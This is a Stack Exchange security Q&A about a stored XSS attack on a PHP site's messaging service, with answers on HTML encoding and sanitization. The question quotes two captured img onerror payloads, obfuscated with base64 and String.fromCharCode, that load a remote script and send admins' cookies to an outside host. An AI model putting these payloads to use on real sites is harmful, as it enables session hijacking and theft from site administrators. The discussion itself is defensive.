How do we best prevent XSS scripted img / html element injected to our database?

Recently I got a case in our website which is using PHP . Our website got a message service which allows HTML elements and a fraudster was sending message including image tag in the message. The image tag valued the attribute id with 64 base encode string and using decryption method atob to implement his script on our server when our admins are viewing his message.

I intentionally changed the atob function to named_function in the script below as it would trigger an iframe creation on this site.

this is the script. two images was sent in different messages.

< img src=/ id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbHJlY2lwZXMuY2YvaiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs onerror=eval(named_function(this.id))>

< img src=default onerror=eval(String.fromCharCode(116,104,105,115,46,115,114,99,61,39,47,47,108,114,101,99,105,112,101,115,46,99,102,47,105,46,112,104,112,63,95,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))>

The way to understand the encrypted code is using atob method decoding the encrypted codes. It would load a Javascript page which creates an iframe , loads JS and socket.io .
Using socket.io , it seems want to produce a flexible script in the iframe to hack the websites. below is the decoded result. decoded

My current solution to this is to only allow image with src having image extension.

What is the best way to sanitize the img tag ?


PS. if this image exists on a webpage , it would constantly produce a socket io connection. regular connection from a foreign ip

  • 1
    I'm not sure if I understand your problem correctly since you don't give enough context. But I'm assuming that you let the user specify an arbitrary link which you then put unquoted as src attribute into an img tag on your page. I recommend to at least put the link in quotes and make sure that the link does not contain any quotes (and also no white space) by itself so that one cannot break out of the quotes. If it is a good idea to include arbitrary third party images in your site in the first place is another topic and depends on what your site is actually for. Jul 17, 2018 at 5:23
  • @SteffenUllrich Dear Steffen , I edited my question. I meant we got a message service and the user sent a message to us including this image . the image is inserted in our database and popped out in our admin server , trying to do something malicious.
    – xyonme
    Jul 17, 2018 at 6:49
  • It is still not clear how the image ends up at the place you describe. All what you show is that the image ends up somewhere in your HTML and what problems it causes but you don't show where do you get the image from and how do you include it in your HTML. Jul 17, 2018 at 7:41
  • @SteffenUllrich the image was included in the message and when the image was viewed by admin , it just loaded the script in the webpage.
    – xyonme
    Jul 17, 2018 at 10:14
  • 1
    I'm still confused. You've said first that you put the image into the database which suggests that you create the HTML yourself. The last comment instead suggests that you put the whole original message into the database and display it later without sanitizing the message. While you've showed a lot in your question how the HTML causes harm you practically say nothing how the HTML gets build in the first place and one has to scrape these information from partly contradicting statements in your comments. Jul 17, 2018 at 10:53

2 Answers 2


Ignoring the obfuscation, this is just a normal persistent XSS attack.

Your approach will not solve this. For one, the payload isn't actually in the src attribute, but the id attribute. An attacker could also simply skip the obfuscation (or use a different one):

<img src=x onerror=alert('do the thing')>

The reason for the obfuscation is likely to bypass any possible problems because of special characters or other filters.

The dangerous thing here isn't the value of the src or id attribute, but the existence of the onerror attribute, so sanitizing the former two wouldn't actually solve the problem.

To properly solve this, look into XSS prevention. If you don't need user-supplied HTML, you should HTML encode relevant characters in an HTML context (<, >, ', ").

If you do need user-supplied HTML, you should look into existing HTML filters for the language you are using (I wouldn't recommend to write your own, as it's notoriously difficult).

  • Don't forget that the HTML-encoding should occurs closest to the HTML-context insertion (don't HTML encode before saving to DB and then output the DB result in the page; instead, do not encode anything when inserting in DB, retrieve the DB result, and at the very end, HTML encode right before inserting in the page)
    – Xenos
    Jul 17, 2018 at 13:39

The problem here is that you:

  1. allow HTML in user-generated content
  2. allow embedded Javascript in that HTML

As long as you allow that, your application is vulnerable to all kinds of XSS shenanigans. So this is the problem you actually need to fix. Everything else, including your current solution, is just fixing one way to exploit this, but not all the other ways people will come up with.

To fix the real problem, run any user-generated content through a filter which sanitizes HTML code and turns it into harmless plaintext. Do this on your server when you receive the content. The best way to do this depends on what programming language you are using on your server. Search on stackoverflow for details.

When posting images and some markup is a legitimate use-case for your messaging service, then you should use a custom markup language like BBCode or the one used by stackexchange. Use a parser which substitutes the markup features you've chosen to allow into valid HTML.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.